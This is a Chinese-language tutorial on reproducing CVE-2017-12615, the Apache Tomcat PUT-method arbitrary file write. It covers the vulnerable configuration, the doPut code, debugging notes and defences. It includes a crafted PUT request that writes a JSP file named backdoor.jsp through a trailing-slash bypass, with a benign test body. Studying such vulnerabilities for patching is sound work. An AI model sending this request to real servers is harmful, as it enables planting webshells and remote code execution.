Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615)
字数 1219 2025-08-15 21:33:06
Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615) 教学文档
漏洞概述
CVE-2017-12615是Apache Tomcat中的一个安全漏洞,当Tomcat配置了readonly=false时,攻击者可以通过精心构造的PUT请求在服务器上任意位置创建或修改文件,可能导致远程代码执行。
受影响版本
- Apache Tomcat 7.0.0 - 7.0.79 (Windows环境)
- 测试版本:7.0.79
漏洞原理分析
关键配置
漏洞主要与Tomcat的web.xml配置文件中的DefaultServlet相关:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value> <!-- 关键参数 -->
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
当readonly参数设置为false时,Tomcat允许通过HTTP PUT方法上传文件。
代码分析
漏洞位于DefaultServlet.java的doPut方法中:
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}
String path = getRelativePath(req);
boolean exists = true;
try {
resources.lookup(path);
} catch (NamingException e) {
exists = false;
}
boolean result = true;
File contentFile = null;
Range range = parseContentRange(req, resp);
InputStream resourceInputStream = null;
if (range != null) {
contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
try {
Resource newResource = new Resource(resourceInputStream);
if (exists) {
resources.rebind(path, newResource);
} else {
resources.bind(path, newResource); // 关键漏洞点
}
} catch(NamingException e) {
result = false;
}
if (result) {
if (exists) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
}
漏洞触发机制
- 当
readonly=false时,PUT请求不会被拒绝 - 攻击者可以发送PUT请求上传文件
- 通过特殊构造的文件名(如
filename.jsp/),可以绕过Tomcat的文件名处理逻辑 - 最终文件会被写入服务器,但文件名中的
/会被去除,导致任意文件写入
漏洞复现步骤
环境准备
- 安装受影响版本的Tomcat(7.0.0-7.0.79)
- 确保
conf/web.xml中DefaultServlet的readonly参数设置为false
利用过程
- 访问Tomcat主页,使用Burp Suite等工具拦截请求
- 将GET请求修改为PUT请求
- 构造恶意请求:
PUT /backdoor.jsp/ HTTP/1.1
Host: target.com:8080
Content-Type: text/plain
Content-Length: [length]
<% out.println("Hello, World!"); %>
- 关键点:文件名后添加
/(如backdoor.jsp/) - 发送请求后,服务器会返回201 Created状态码,表示文件创建成功
- 访问
http://target.com:8080/backdoor.jsp验证文件是否成功写入
动态调试分析
- 调试
doPut函数,观察readOnly参数值 - 跟踪
resources.bind函数调用链 - 观察文件名处理过程:
- 传入
/12w3.jsp/ - 经过
File函数处理后变为\12w3.jsp - 最终写入
webapps/ROOT/12w3.jsp
- 传入
防御措施
- 将
DefaultServlet的readonly参数设置为true(默认值) - 升级到Tomcat 7.0.81或更高版本
- 在反向代理或防火墙层面限制PUT/DELETE等HTTP方法
- 对上传文件进行严格的权限控制和内容检查
参考资源
- Tomcat 7配置文档
- IDEA远程调试Tomcat方法
- HTTP PUT方法利用技术
- Servlet-mapping功能解析
总结
CVE-2017-12615漏洞利用Tomcat对PUT请求处理不当的缺陷,结合特殊构造的文件名,实现了任意文件写入。该漏洞在readonly=false配置下可利用性高,危害严重,应及时采取防护措施。